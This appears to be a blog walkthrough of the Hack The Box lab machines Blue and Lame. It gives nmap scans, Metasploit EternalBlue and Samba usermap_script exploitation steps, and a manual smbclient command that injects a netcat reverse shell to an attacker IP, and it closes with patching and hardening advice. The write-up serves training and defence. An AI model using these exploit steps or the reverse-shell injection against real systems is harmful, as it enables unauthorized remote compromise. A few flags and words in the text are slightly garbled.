Listen to this Post
Introduction:
The foundational pillars of penetration testing—reconnaissance, enumeration, exploitation, and privilege escalation—remain as relevant today as they were a decade ago. Nowhere is this more evident than in Hack The Box’s classic beginner machines, Blue and Lame. Blue, a Windows 7 target, is vulnerable to the infamous EternalBlue exploit (MS17-010), a critical remote code execution vulnerability in SMBv1 originally developed by the NSA, leaked by the Shadow Brokers in 2017, and later weaponized in the global WannaCry ransomware attack. Lame, a Linux machine running Samba 3.0.20, falls prey to a command injection vulnerability in the “username map script” configuration option (CVE-2007-2447), granting unauthenticated attackers root-level shell access. Together, these machines offer a masterclass in the attacker mindset: find an open port, enumerate the service, identify a known exploit, and compromise the target.
Learning Objectives & Secrets:
- Objective 1 (Reconnaissance Mastery): Learn to conduct thorough port scanning and service enumeration using `nmap` to identify high-value attack surfaces, specifically SMB on port 445 (Blue) and Samba on ports 139/445 (Lame).
-
Objective 2 (Exploit Selection & Execution): Gain hands-on experience with the Metasploit Framework to select, configure, and execute remote code execution exploits—
exploit/windows/smb/ms17_010_eternalbluefor Blue and `exploit/multi/samba/usermap_script` for Lame. Secret Tip: Always run the `check` command within Metasploit before executing an exploit to confirm vulnerability. -
Objective 3 (Post-Exploitation & Flag Retrieval): Understand how to navigate the compromised system, retrieve user and root flags, and recognize the implications of gaining SYSTEM (Windows) or root (Linux) privileges directly from the initial exploit. Secret Tip: On Windows targets, process migration from `meterpreter` can stabilize your session; on Linux, immediately identify the kernel version for potential privilege escalation paths.
You Should Know:
- Reconnaissance & Enumeration: The Art of Finding the Entry Point
Every penetration test begins with discovery. The attacker’s goal is to map the target’s network footprint and identify vulnerable services.
Step-by-step guide:
- Initial Port Scan (Blue & Lame): Use `nmap` to scan all ports and detect service versions. This reveals open ports and the underlying operating system.
Scan all ports with service version detection and OS fingerprinting nmap -p- -sV -A -T4 -Pn <target_IP> -oN initial_scan.txt
For Blue: This typically reveals Windows 7 with SMB (port 445) open.
For Lame: This reveals a Linux system with FTP (vsftpd 2.3.4), SSH (OpenSSH 4.7p1), and Samba (3.0.20-Debian) on ports 139 and 445. -
Vulnerability-Specific Scanning (Blue): To confirm the presence of the EternalBlue vulnerability, use the dedicated NSE script.
Check for MS17-010 vulnerability on SMB ports nmap -p139,445 --script smb-vuln-ms17-010 <target_IP>
A positive result confirms the target is vulnerable to EternalBlue.
-
SMB Enumeration (Lame): For Lame, it’s crucial to verify the Samba version and explore accessible shares.
List SMB shares anonymously smbclient -L <target_IP> -1
This often reveals a `tmp` share with anonymous read/write access, a common misconfiguration.
2. Exploiting EternalBlue on Windows (HTB: Blue)
The EternalBlue exploit (CVE-2017-0144) targets a buffer overflow vulnerability in Microsoft’s SMBv1 protocol, allowing remote code execution at the SYSTEM level.
Step-by-step guide:
- Launch Metasploit: Start the framework and search for the EternalBlue module.
msfconsole msf6 > search eternalblue msf6 > use exploit/windows/smb/ms17_010_eternalblue
-
Configure the Exploit: Set the required options—the target’s IP (
RHOSTS) and your attacking machine’s IP (LHOST) for the reverse shell.msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <target_IP> msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <attacker_IP> msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
-
Verify and Execute: Run the `check` command to confirm vulnerability, then execute the exploit.
msf6 exploit(windows/smb/ms17_010_eternalblue) > check msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Upon success, you’ll receive a `meterpreter` shell with SYSTEM privileges.
-
Post-Exploitation (Flag Retrieval): Navigate the file system to find the flags.
meterpreter > shell C:> cd C:\Users\haris\Desktop C:\Users\haris\Desktop> type user.txt C:> cd C:\Users\Administrator\Desktop C:\Users\Administrator\Desktop> type root.txt
The user flag is typically on the standard user’s desktop, and the root flag is on the Administrator’s desktop.
-
Exploiting Samba “Username Map Script” on Linux (HTB: Lame)
The Samba vulnerability (CVE-2007-2447) arises when the “username map script” option is enabled. By passing a malicious username containing shell metacharacters, an attacker can execute arbitrary commands on the server with root privileges.
Step-by-step guide:
- Launch Metasploit: Start the framework and search for the Samba exploit.
msfconsole msf6 > search samba msf6 > use exploit/multi/samba/usermap_script
-
Configure the Exploit: Set the target IP (
RHOSTS) and your IP (LHOST). The default payload is oftencmd/unix/reverse_netcat, which is lightweight and reliable for older systems.msf6 exploit(multi/samba/usermap_script) > set RHOSTS <target_IP> msf6 exploit(multi/samba/usermap_script) > set LHOST <attacker_IP> msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
-
Execute the Exploit: Run the exploit to gain a root shell.
msf6 exploit(multi/samba/usermap_script) > exploit
Success is indicated by a command shell session opening on your listener.
-
Post-Exploitation (Flag Retrieval): With root access, retrieve the flags from the file system.
whoami Output: root cat /home/makis/user.txt cat /root/root.txt
The exploit provides immediate root access, bypassing the need for additional privilege escalation.
4. Defensive Countermeasures & Mitigation
Understanding the attack is only half the battle; knowing how to defend is paramount.
Step-by-step guide for Blue (EternalBlue):
- Patch Management: The primary mitigation for MS17-010 is applying the security update released by Microsoft in March 2017. Organizations must prioritize patching legacy Windows systems.
- Disable SMBv1: If patching is not feasible, disable SMBv1 entirely via Group Policy or PowerShell.
PowerShell command to disable SMBv1 Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
- Network Segmentation: Isolate legacy systems that cannot be patched or upgraded. Restrict inbound SMB traffic (ports 139, 445) from untrusted networks using firewalls.
Step-by-step guide for Lame (Samba CVE-2007-2447):
- Upgrade Samba: The most effective fix is to upgrade Samba to a version later than 3.0.25rc3, which addresses the command injection flaw.
- Disable “Username Map Script”: If upgrading is not an option, ensure the `username map script` option is not enabled in the `smb.conf` configuration file.
- Access Controls: Restrict anonymous access to SMB shares. Configure shares to require valid user credentials.
5. Manual Exploitation Techniques (No Metasploit)
While Metasploit automates the process, understanding the manual mechanics is crucial for OSCP and real-world assessments where framework usage may be restricted.
For Lame (CVE-2007-2447): The vulnerability can be triggered by sending a crafted username to the Samba service. The command injection occurs because the username is passed unsafely to the shell.
Manual exploitation using smbclient smbclient //<target_IP>/tmp -1 -U "/=<code>nohup nc -e /bin/bash <attacker_IP> 4444</code>"
This command attempts to execute a netcat reverse shell as the username, exploiting the command injection.
For Blue (MS17-010): Manual exploitation is more complex, involving crafting specific SMB packets to trigger the buffer overflow. Tools like `AutoBlue` provide a semi-automated approach that builds the necessary shellcode.
Using AutoBlue (from GitHub) git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git cd AutoBlue-MS17-010 Follow the repository's instructions to generate shellcode and execute
6. Cloud & Modern Context
Though Blue and Lame are legacy machines, the lessons they teach are perpetually relevant. EternalBlue’s principles—buffer overflows in network protocols—resonate in modern cloud environments where misconfigured container runtimes or vulnerable microservices can be exploited. Similarly, the command injection flaw in Samba is a timeless class of vulnerability that appears in APIs, web applications, and serverless functions today. Security teams must adopt a “shift-left” mindset, integrating vulnerability scanning into CI/CD pipelines to catch such flaws before deployment.
What Undercode Say:
- Key Takeaway 1: The attack chain for both machines is remarkably short—port discovery, service enumeration, known exploit, and compromise. This underscores the critical importance of proactive patch management and configuration hardening. A single unpatched service can lead to total system compromise.
-
Key Takeaway 2: The power of the Metasploit Framework cannot be overstated for penetration testing, but reliance on it should not replace a deep understanding of the underlying vulnerabilities. Manual exploitation techniques, while more complex, build a stronger foundational knowledge that is invaluable in restricted environments.
-
Analysis: Blue and Lame serve as timeless case studies in the attacker’s methodology. They highlight that the easiest path to compromise often lies in low-hanging fruit—unpatched legacy systems and default configurations. For defenders, these machines are a stark reminder that vulnerability management is not a one-time activity but a continuous lifecycle. The shift toward cloud-1ative architectures does not eliminate these risks; it merely transforms them. Container images with outdated libraries, misconfigured storage buckets with public access, and APIs with injection flaws are the modern equivalents of SMBv1 and Samba 3.0.20. The principles of reconnaissance, enumeration, and exploitation remain the same; only the tools and targets evolve.
Prediction:
- +1 The increased adoption of automated vulnerability scanners and AI-driven patch management solutions will significantly reduce the window of opportunity for attackers targeting known CVEs like MS17-010 and CVE-2007-2447 in enterprise environments.
- -1 Legacy systems will persist in critical infrastructure (e.g., healthcare, manufacturing) for years to come, ensuring that exploits like EternalBlue remain viable attack vectors in these sectors.
- -1 The commoditization of exploit code for known vulnerabilities means that even script kiddies can compromise poorly maintained systems, increasing the overall threat landscape.
- +1 The hands-on, gamified learning provided by platforms like Hack The Box will continue to produce a new generation of security professionals who are better equipped to defend against these classic—and evolving—threats.
▶️ Related Video (78% Match):
https://www.youtube.com/watch?v=1kFKlseU3jQ
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/eZDV3Gi6 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
